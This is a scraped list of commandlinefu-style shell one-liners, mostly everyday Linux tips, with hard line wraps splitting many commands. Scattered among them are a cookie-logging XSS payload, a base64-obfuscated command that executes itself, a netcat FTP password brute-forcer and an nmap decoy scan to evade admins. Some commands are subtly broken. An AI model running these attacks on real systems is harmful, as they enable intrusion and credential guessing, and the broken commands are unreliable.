=$((size/1024)); echo "$size2 MB used by $dir"; done | head -n 10

# Attempt an XSS exploit on commandlinefu.com
perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" st
yle="position:absolute;height:0;width:0;background:transparent;font-weight:normal;
">xss</a>/<\a>/g'

# Finding files with different extensions
find . -regex '.*\.(h|cpp)'

# Shell function to exit script with error in exit status and print optional mes
sage to stderr

```

```

die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}

# Binary difference of two files
bsdiff <oldfile> <newfile> <patchfile>

# List all symbolic links in current directory
find /path -type l

# dstat - a mix of vmstat, iostat, netstat, ps, sar...
dstat -ta

# Join lines
cat file | tr "\n" " "

# top 10 commands used
sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head

# ls not pattern
ls -I "*.gz"

# Stream audio over ssh
sox Klaxon.mp3 -t wav - |ssh thelab@company.com paplay

# Check the age of the filesystem
df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create

# Start dd and show progress every X seconds
dd if=/path/inputfile | pv | dd of=/path/outpufile

# Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger

# Do some learning...
for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more

# Display the output of a command from the first line until the first instance o
f a regular expression.
command | sed -n '1,/regex/p'

# Update twitter via curl
curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/upd
ate.xml

# Mute xterm
xset b off

# Add a shadow to picture
convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -back
ground none -layers merge +repage {$file_out}

# Retrieve a random command from the commandlinefu.com API
wget -qO - http://www.commandlinefu.com/commands/random/plaintext | sed -n '1d;
/./p'

# Quickly create simple text file from command line w/o using vi/emacs
cat > <file_name> << "EOF"

# Synthesize text as speech
echo "hello world" | festival --tts

```

```

# Salvage a borked terminal
echo <ctrl-v><esc>c<enter>

# stop man page content from disappearing on exit
echo "export LESS='FiX'" >> ~/.bashrc

# Redirect a filehandle from a currently running process.
yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pi
d

# show dd progress
killall -USR1 dd

# pretend to be busy in office to enjoy a cup of coffee
for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40

# Use colordiff in side-by-side mode, and with automatic column widths.
colordiff -yW" `tput cols`" /path/to/file1 /path/to/file2

# Random unsigned integer
echo $RANDOM

# Display which user run process from given port name
fuser -nu tcp 3691

# sed : using colons as separators instead of forward slashes
sed "s:/old/direcory/:/new/directory/:" <file>

# randomize hostname and mac address, force dhcp renew. (for anonymous networkin
g)
dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g"
-i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)"
&& sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhcli
ent

# Execute multiple commands from history
!219 ; !229 ; !221

# Exclude svn directories with grep
grep -r --exclude-dir=.svn PATTERN PATH

# Rapidly invoke an editor to write a long, complex, or tricky command
<ESC> v

# Print text string vertically, one character per line.
echo Print text vertically|sed 's/\(.\) /\1\n/g'

# Execute a command on logout
trap cmd 0

# Lets Tux say the random fact. [add it to .bashrc to see it in new terminal win
dow]
wget randomfunfacts.com -O - 2>/dev/null|grep <strong>|sed "s;^.*<i>\(.*\)</i>
.*$;\1;"|cowsay -f tux

# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] +=
$3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2
f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'

```

```

# Simple addicting bash game.
count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=
$((count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next"
; done

# know the current running shell (the true)
echo $0

# gzip compression with progress bar and remaining time displayed
pv file | gzip > file.gz

# which process has a port open
lsof -i :80

# quick input
alt + .

# Quickly analyze apache logs for top 25 most common IP addresses.
cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i); }' | sort -n | tail -25

# recursively change file name from uppercase to lowercase (or viceversa)
find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[:lower:]'`; do
ne

# Validate and pretty-print JSON expressions.
echo '{"json":"obj"}' | python -m simplejson.tool

# A little bash daemon =)
echo "Starting Daemon"; ( while ;; do sleep 15; echo "I am still running =)"; do
ne ) & disown -h -ar $!

# Recompress all .gz files in current directory using bzip2 running 1 job per CP
U core in parallel
parallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz

# command to change the exif date time of a image
exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg

# Show IP Address in prompt --> PS1 var
export PS1="\u@\`hostname -I` \W]$ "

# Removes file with a dash in the beginning of the name
rm -- --myfile

# Increase mplayer maximum volume
mplayer dvd:// -softvol -softvol-max 500

# create shortcut keys in bash
bind -x '"\C-p":pwd

# log your PC's motherboard and CPU temperature along with the current date
echo `date +%m/%d/%y%X |awk '{print $1;}' ` => "` cat /proc/acpi/thermal_zone/T
HRM/temperature | awk '{print $2, $3;}' ` >> datetmp.log

# On screen display of a command.
date|osd_cat

```

```

# convert unixtime to human-readable with awk
echo 1234567890 | awk '{ print strftime("%c", $0); }'

# Create an SSH tunnel for accessing your remote MySQL database with a local port
ssh -CNL 3306:localhost:3306 user@site.com

# Copy history from one terminal to another
history -w <switch to another terminal> history -r

# Submit data to a HTML form with POST method and save the response
curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html

# vmstat/iostat with timestamp
vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'

# Replace spaces in filenames with underscores
rename 's/ /_/g' *

# Copy without overwriting
cp -n <src> <dst>

# Merges given files line by line
paste -d ',' file1 file2 file3

# Download free e-books
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL

# Show the UUID of a filesystem or partition
blkid /dev/sda7

# split a string (2)
read VAR1 VAR2 VAR3 <<(echo aa bb cc); echo $VAR2

# Create QR codes from a URL.
qrurl() { curl "http://chart.apis.google.com/chart?chs=150x150&cht=qr&chld=H%7C0&chl=$1" -o qr.$(date +%Y%m%d%H%M%S).png; }

# Bash prompt with user name, host, history number, current dir and just a touch of color
export PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'

# Print just line 4 from a textfile
awk 'NR==4'

# see who's using DOM storage a/k/a Web Storage, super cookies
strings ~/.mozilla/firefox/*/webappsstore.sqlite|grep -Eo "^.+\.:" |rev

# Display connections histogram
netstat -an | grep ESTABLISHED | awk '\{\{print $5\}\}' | awk -F: '\{\{print $1\}\}' | sort | uniq -c | awk '\{\{ printf("%s\t%s\t", $2, $1); for (i = 0; i < $1; i++) {printf("*");} print ""}\}\}'

# Exclude grep from your grepped output of ps (alias included in description)
ps aux | grep [h]ttpd

# Timer with sound alarm

```



```
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; } ; sleep 3s && say "wake up, you bastard"

# Sum columns from CSV column $COL
awk -F ',' '{ x = x + $4 } END { print x }' test.csv

# Google text-to-speech in mp3 format
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }

# Merge PDFs into single file
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf input1.pdf input2.pdf ...

# Pretty man pages under X
function manpdf() {man -t $1 | ps2pdf - - | epdfview -}

# Compare directories via diff
diff -rq dirA dirB

# Calculate N!
seq -s* 10 |bc

# Create a QR code image in MECARD format
qrencode -o myqr.png 'MECARD:N:Lee,Chris;TEL:8881234567;EMAIL:chris.lee@somedomain.com;;'

# Press Any Key to Continue
read -sn 1 -p 'Press any key to continue...';echo

# Compress a series of png pictures to an avi movie.
mencoder "mf://*.png" -mf fps=2 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4

# find .txt files inside a directory and replace every occurrence of a word inside them via sed
find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;

# Get all files of particular type (say, PDF) listed on some webpage (say, example.com)
wget -r -A .pdf -l 5 -nH --no-parent http://example.com

# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;

# ROT13 whole file in vim.
ggg?G

# List your sudo rights
sudo -l

# Killing processes with your mouse in an infinite loop
while true; do xkill -button any; done

# Generate a graph of package dependencies
apt-cache dotty apache2 | dot -T png | display

# List all authors of a particular git project
git log --format='%aN' | sort -u
```

```
# check open ports (both ipv4 and ipv6)
netstat -plnt

# check the status of 'dd' in progress
watch -n 10 killall -USR1 dd

# Instantly load bash history of one shell into another running shell
$ history -a #in one shell , and $ history -r #in another running shell

# One liner to kill a process when knowing only the port where the process is running
fuser -k <port>

# dd with progress bar
dd if=/dev/nst0 |pv|dd of=restored_file.tar

# get bofh excuse from a trusted source :-)
telnet bofh.jeffballard.us 666

# Apply permissions only to files
chmod 644 $(find . -type f)

# Convert a string to "Title Case"
echo "this is a test" | sed 's/.*/>\L&/; s/[a-z]*/>\u&/g'

# Robust expansion (i.e. crash) of bash variables with a typo
set -eu

# autossh + ssh + screen = super rad perma-sessions
AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'

# List just the executable files (or directories) in current directory
ls *(.x)

# grep certain file types recursively
grep -r --include="*.[ch]" pattern .

# ROT13 using the tr command
alias rot13="tr a-zA-Z n-za-mN-ZA-M"

# Remount a usb disk in Gnome without physically removing and reinserting
eject /dev/sdb; sleep 1; eject -t /dev/sdb

# Advanced LS Output using Find for Formatted/Sortable File Stat info
find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n'

# skip broken piece of a loop but not exit the loop entirely
ctrl + \

# Merge Two or More PDFs into a New Document
pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf

# search ubuntu packages to find which package contains the executable program p
rogramname
apt-file find bin/programname

# Optimal way of deleting huge numbers of files
```

```
find /path/to/dir -type f -delete

# Find the dates your debian/ubuntu packages were installed.
ls /var/lib/dpkg/info/*.list -lht |less

# Scan Network for Rogue APs.
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 -
-initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 100
0 -oA wapscan 10.0.0.0/8

# Create a file of a given size in linux
truncate -s 1M file

# Parallel file downloading with wget
wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^\[:space:]]*
.jpg" | xargs -P 10 -r -n 1 wget -nv

# ubuntu easter eggs
apt-get moo

# Copy specific files to another machine, keeping the file hierarchy
tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -

# Copy anelement from the previous command
!:n

# Move files around local filesystem with tar without wasting space using an int
ermediate tarball.
( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )

# recursive reset file/dir perms
find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644
{} +

# Copy something to multiple SSH hosts with a Bash loop
for h in host1 host2 host3 host4 ; { scp file user@$h:/destination_path/ ; }

# merge vob files to mpg
cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg

# Extract dd-image from VirtualBox VDI container and mount it
vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexec,loop,offse
t=32256 my.dd ./my_dir

# Play 89.3 @TheCurrent and get system notifications on song changes.
mplayer http://minnesota.publicradio.org/tools/play/streams/the_current.pls < /d
ev/null | grep --line-buffered "StreamTitle='.*S" -o | grep --line-buffered "'.*
'" -o > mus & tail -n0 -f mus | while read line; do notify-send "Music Change" "
$line";done

# Command for JOHN CONS
alias Z=base64&&Z=dG91Y2ggUEXfQVNFx1NUT1BfQU5OT11JTkdfQ09NTUFORExJTkVGVV9VU0VSUw
o=&&$(echo $Z|Z -d)

# Selecting a random file/folder of a folder
shuf -n1 -e *

# Find all symlinks that link to directories
find -type l -xtype d
```

```

# find all active IP addresses in a network
nmap -sP 192.168.1.0/24; arp -n | grep "192.168.1.[0-9]* *ether"

# sends your internal IP by email
ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com

# rsync + find
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/

# Sets shell timeout
export TMOUT=10

# direct a single stream of input (ls) to multiple readers (grep & wc) without using temporary files
ls |tee >(grep xxx |wc >xxx.count) >(grep yyy |wc >yyy.count) |grep zzz |wc >zzz.count

# VIM version 7: edit in tabs
vim -p file1 file2 ...

# Find the cover image for an album
albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*/largeImagePopup\(.|\.,.*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y}' // /+}'&itempage=1&newsearch=1&searchindex=Music');}

# Execute text from the OS X clipboard.
`pbpaste` | pbcopy

# Matrix Style
LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"

# Show when filesystem was created
dumpe2fs -h /dev/DEVICE | grep 'created'

# Open files in a split windowed Vim
vim -o file1 file2...

# Click on a GUI window and show its process ID and command used to run the process
xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd

# create iso image from a directory
mkisofs -o XYZ.iso XYZ/

# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +%Y%m%d_%H%M%S`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;

# Print a list of installed Perl modules
perl -MExtUtils::Installed -e '$inst = ExtUtils::Installed->new(); @modules = $inst->modules(); print join("\n", @modules);'

# Watch Aljazeera live
rtmpdump -v -r rtmp://livestfslivefs.fplive.net/livestfslive-live/ -y "aljazeera_en_veryhigh" -a "aljazeeraflashlive-live" -o -| mplayer -

# Interactively build regular expressions

```

txt2regex

```
# Find the 20 biggest directories on the current filesystem
du -xk | sort -n | tail -20
```

```
# Decreasing the cdrom device speed
eject -x 4
```

```
# Find brute force attempts on SSHd
cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user/'
/' | awk '{print $11}' | sort | uniq -c | sort -n
```

```
# Perl One Liner to Generate a Random IP Address
echo $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))
```

```
# List the largest directories & subdirectories in the current directory sorted
from largest to smallest.
du -k | sort -r -n | more
```

```
# show ls colors with demo
echo $LS_COLORS | sed 's:/:\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n", $0, $2)}'
```

```
# Another Matrix Style Implementation
COL=$(( (tput cols) / 2 )); clear; tput setaf 2; while ;; do tput cup $((RANDOM
%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
```

```
# analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i -
```

```
# View files opened by a program on startup and shutdown
sudo lsof -rc command >> /tmp/command.txt
```

```
# Enter parameter if empty (script becomes interactive when parameters are missi
ng)
param=${param:-$(read -p "Enter parameter: "; echo "$REPLY")}
```

```
# Copy all documents PDF in disk for your home directory
find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
```

```
# shell function to make gnu info act like man.
myinfo() { info --subnodes -o - $1 | less; }
```

```
# rsync with progress bar.
rsync -av --progress ./file.txt user@host:/path/to/dir
```

```
# Silently Execute a Shell Script that runs in the background and won't die on H
UP/logout
nohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&
```

```
# Update twitter from command line without reveal your password
curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
```

```
# Sync MySQL Servers via secure SSH-tunnel
ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --exec
ute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
```

```
# Outputs a sorted list of disk usage to a text file
du | sort -gr > file_sizes
```

```

# Visualizing system performance data
(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10
 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png

# ARP Scan
sudo arp-scan -l

# Skip over .svn directories when using the
find . -name .svn -prune -o -print

# List all available commands (bash, ksh93)
printf "%s\n" ${PATH//:/\/* }

# backup and synchronize entire remote folder locally (curlftps and rsync over
FTP using FUSE FS)
curlftps ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/
&& rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-
website

# Upgrade all perl modules via CPAN
perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'

# Get your external IP address without curl
wget -qO- icanhazip.com

# Protect directory from an overzealous rm -rf *
sudo chattr -R +i dirname

# Backup sda5 partition to ftp ( using pipes and gzipped backup )
dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domai
n.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"

# Get a brief overview of how many files and directories are installed
locate -S

# Install a local RPM package from your desktop, then use the YUM repository to
resolve its dependencies.
yum localinstall /path/to/package.rpm

# Edit the last or previous command line in an editor then execute
fc [history-number]

# lotto generator
shuf -i 1-49 | head -n6 | sort -n | xargs

# nmap IP block and autogenerate comprehensive Nagios service checks
nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tm
p/10net.xml -o /etc/nagios/10net.cfg

# Show top committers for SVN repository for today
svn log -r {\`date "+%Y-%m-%d"\`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c

# Get pages number of the pdf file
pdftinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/

# ssh and attach to a screen in one line.
ssh -t user@host screen -x <screen name>

```

```
# Get the total length of all video / audio in the current dir (and below) in H:
m:s
find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -iden
tify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02
d:%02d:%02d\n", $t/3600, $t/60%60, $t%60' | tail -n 1

# Turn On/Off Keyboard LEDs via commandline
xset led 3

# Show 'Hardware path'-style tree of all devices in Linux
lshw -short

# Remove trailing space in vi
:%s/\s\+$//

# Real full backup copy of /etc folder
rsync -a /etc /destination

# Alert on Mac when server is up
ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "S
erver is up" buttons "It?s about time" default button 1'

# show lines that appear in both file1 and file2
comm -1 -2 <(sort file1) <(sort file2)

# Grep syslog today last hour
grep -i "$ (date +%b\ %d\ %H)" syslog

# Comment current line
<ESC> #

# Port scan a range of hosts with Netcat.
for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done

# Extract tarball from internet without local saving
curl http://example.com/a.gz | tar xz

# See why a program can't seem to access a file
strace php tias.php -e open,access 2>&1 | grep foo.txt

# Kill any process with one command using program name
killall <name>

# Launch a VirtualBox virtual machine
VBoxManage startvm "name"

# deaggregate ip ranges
/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done | grep -v de
ag

# Check reverse DNS
dig +short -x {ip}

# create an incremental backup of a directory using hard links
rsync -a --delete --link-dest=../lastbackup $folder $dname/

# Check for login failures and summarize
zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c |
sort -nr | less
```

```
# background a wget download
wget -b http://dl.google.com/android/android-sdk_r14-linux.tgz

# Show all programs on UDP and TCP ports with timer information
netstat -putona

# Print trending topics on Twitter
curl -s search.twitter.com | awk -F'</?[^>]+>' '/\//intra\/trend\/\//{print $2}'

# Remux an avi video if it won't play easily on your media device
mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi

# Detect if we are running on a VMware virtual machine
dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'

# C one-liners
/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liner\n");};' | gcc -x c -o /dev/stdout -)

# Download all Phrack .tar.gzs
curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz

# Using mplayer to play the audio only but suppress the video
mplayer -vo null something.mpg

# Use Linux coding style in C program
indent -linux helloworld.c

# Search previous commands from your .bash_history
ctrl + r

# save date and time for each command in history
export HISTTIMEFORMAT='%F %T '

# Recursively grep thorough directory for string in file.
grep -r -i "phrase" directory/

# Create a zip file ignoring .svn files
zip -r foo.zip DIR -x "*/.svn/*"

# Script executes itself on another host with one ssh command
[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client

# cd to (or operate on) a file across parallel directories
cd ${PWD/a/b}

# create pdf files from text files or stdout.
enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf (from file) or: ls | ensc
ripts -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)

# change exif data in all jpeg's
for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f
  $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done }

# Give to anyone a command to immediatly find a particular part of a man.
man <COMMAND> | less +'/pattern'

# ASCII webcam live stream video using mplayer
mplayer -tv driver=v4l2:gain=1:width=640:height=480:device=/dev/video0:fps=10:ou
```



```
tfmt=rgb16 -vo aa tv://

# Check if your webserver supports gzip compression with curl
curl -I -H "Accept-Encoding: gzip,deflate" http://example.org

# Remove invalid host keys from ~/.ssh/known_hosts
ssh-keygen -R \[localhost\]:8022

# Huh? Where did all my precious space go ?
ls -la | sort -k 5bn

# Parse a quoted .csv file
awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv

# run command on a group of nodes
mssh -h host1 host2 host3 -c uptime

# reset hosed terminal
c() printf "\033c" #usage: c

# print multiplication formulas
seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR,
i*NR, i==NR?"\n":"\t")}'

# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!

# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf

# Limit bandwidth usage by any program
trickle -d 60 wget http://very.big/file

# see the TIME_WAIT and ESTABLISHED nums of the network
netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a}]'

# lines in file2 that are not in file1
grep -F xv -f file1 file2

# Indent a one-liner.
type <function name>

# Print a cron formatted time for 2 minutes in the future (for crontab testing)
crontest () { date '-d +2 minutes' +%M %k %d %m *'; }

# delete a particular line by line number in file
sed -i 3d ~/.ssh/known_hosts

# Get information about a video file
mplayer -vo dummy -ao dummy -identify your_video.avi

# Conficker Detection with NMAP
nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES

# Redefine the cd command's behavior
cd() { builtin cd "${@:-$HOME}" && ls; }

# Matrix Style
check the sample output below, the command was too long :(
```

```

# capture mysql queries sent to server
tshark -i any -T fields -R mysql.query -e mysql.query

# Console based network interface monitor
ethstatus -i eth0

# Changing the terminal title to the last shell command
trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG

# Configure second monitor to sit to the right of laptop
xrandr --output LVDS --auto --output VGA --auto --right-of LVDS

# Use a decoy while scanning ports to avoid getting caught by the sys admin :9
sudo nmap -sS 192.168.0.10 -D 192.168.0.2

# a function to create a box of '=' characters around a given string.
box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c};
}

# Count the number of queries to a MySQL server
echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[
$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n

# Display IPs accessing your Apache webserver.
egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort
-u

# find the difference between two nodes
diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")

# vi keybindings with info
info --vi-keys

# run php code inline from the command line
php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'

# Change newline to space in a file just using echo
echo $(</tmp/foo)

# climagic's New Year's Countdown clock
while V=$(`date +%s -d"2010-01-01"`-`date +%s`);do if [ $V == 0 ];then figlet
'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done

# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-imag
e-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic-//'|awk '{printf("linux-headers-
%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')

# Move all files in subdirectories to current dir
find ./ -type f -exec mv {} . \;

# benchmark web server with apache benchmarking tool
ab -n 9000 -c 900 localhost:8080/index.php

# do something else while waiting for an event, such as reboot
until (ssh root@10.1.1.39 2> /dev/null); do date; sleep 15; done

# sort lines by length

```

```
perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/s
hare/dict/words | tail

# Quick and dirty convert to flash
ffmpeg -i inputfile.mp4 outputfile.flv

# Verify MD5SUMS but only print failures
md5sum --check MD5SUMS | grep -v ": OK"

# connects to a serial console
screen /dev/ttyS0 9600

# List open IPv4 connections
lsof -Pnl +M -i4

# Show some trivia related to the current date
calendar

# ssh -A user@somehost
ssh -A user@somehost

# See the 10 programs the most used
sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr
| head

# Twit Amarok "now playing" song
curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default
nowPlaying)" http://twitter.com/statuses/update.json

# Resets your MAC to a random MAC address to make you harder to find.
ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${
ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo i
fconfig wlan0:0

# Replace space in filename
rename "s/ */g" *.jpg

# va - alias for editing aliases
alias va='vi ~/.aliases; source ~/.aliases && echo "aliases sourced"'

# Search Google from the command line
curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80

# Get the size of all the directories in current directory
du --max-depth=1

# recursively md5 all files in a tree
find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5

# Print a row of characters across the terminal
seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'

# Make any command read line enabled (on *nix)
rlwrap sqlite3 database.db

# Quickly get summary of sizes for files and folders
du -sh *

# this toggles mute on the Master channel of an alsa soundcard
amixer sset Master toggle
```

```
# Remove newlines from output
grep . filename

# Find 'foo' string inside files
find . -type f -print | xargs grep foo

# Paste the contents of OS X clipboard into a new text file
pbpaste > newfile.txt

# Convert unix timestamp to date
date -ud "1970-01-01 + 1234567890 seconds"

# Netcat ftp brute force
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo
"QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "
230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done

# Start an X app remotely
ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi

# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${
y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^\<li>//g'|nl|/usr/bin/perl -MHTML::Entities
-pe 'decode_entities($_)';}

# Get all possible problems from any log files
grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*

# Unencrypted voicechat
On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666

# List files opened by a PID
lsof -p 15857

# Download an entire ftp directory using wget
wget -r ftp://user:pass@ftp.example.com

# Unlock your KDE4.3 session remotely
qdbus org.kde.screenlocker /MainApplication quit

# prevents replace an existing file by mistake
set -o noclobber

# How to secure delete a file
shred -u -z -n 17 rubricasegreta.txt

# Transforms a file to all uppercase.
tr '[:lower:]' '[:upper:]' <"$1"

# Replace multiple file extensions with a single extension
for f in t1.bmp t2.jpg t3.tga; do echo ${f%.*}.png; done

# Hostname tab-completion for ssh
function autoCompleteHostname() { local hosts; local cur; hosts=$(awk '{p
rint $1}' ~/.ssh/known_hosts | cut -d, -f1); cur=${COMP_WORDS[COMP_CWORD]};
COMPREPLY=$(compgen -W "${hosts[@]}" -- $cur ) } complete -F autoCompleteHost
name ssh
```

```
# random xkcd comic
display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=)'
http://imgs.xkcd.com/comics/[^"]+(png|jpg) ')"

# Shows what processes need to be restarted after system upgrade
deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }

# Find all directories on filesystem containing more than 99MB
du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'

# Go to the previous sibling directory in alphabetical order
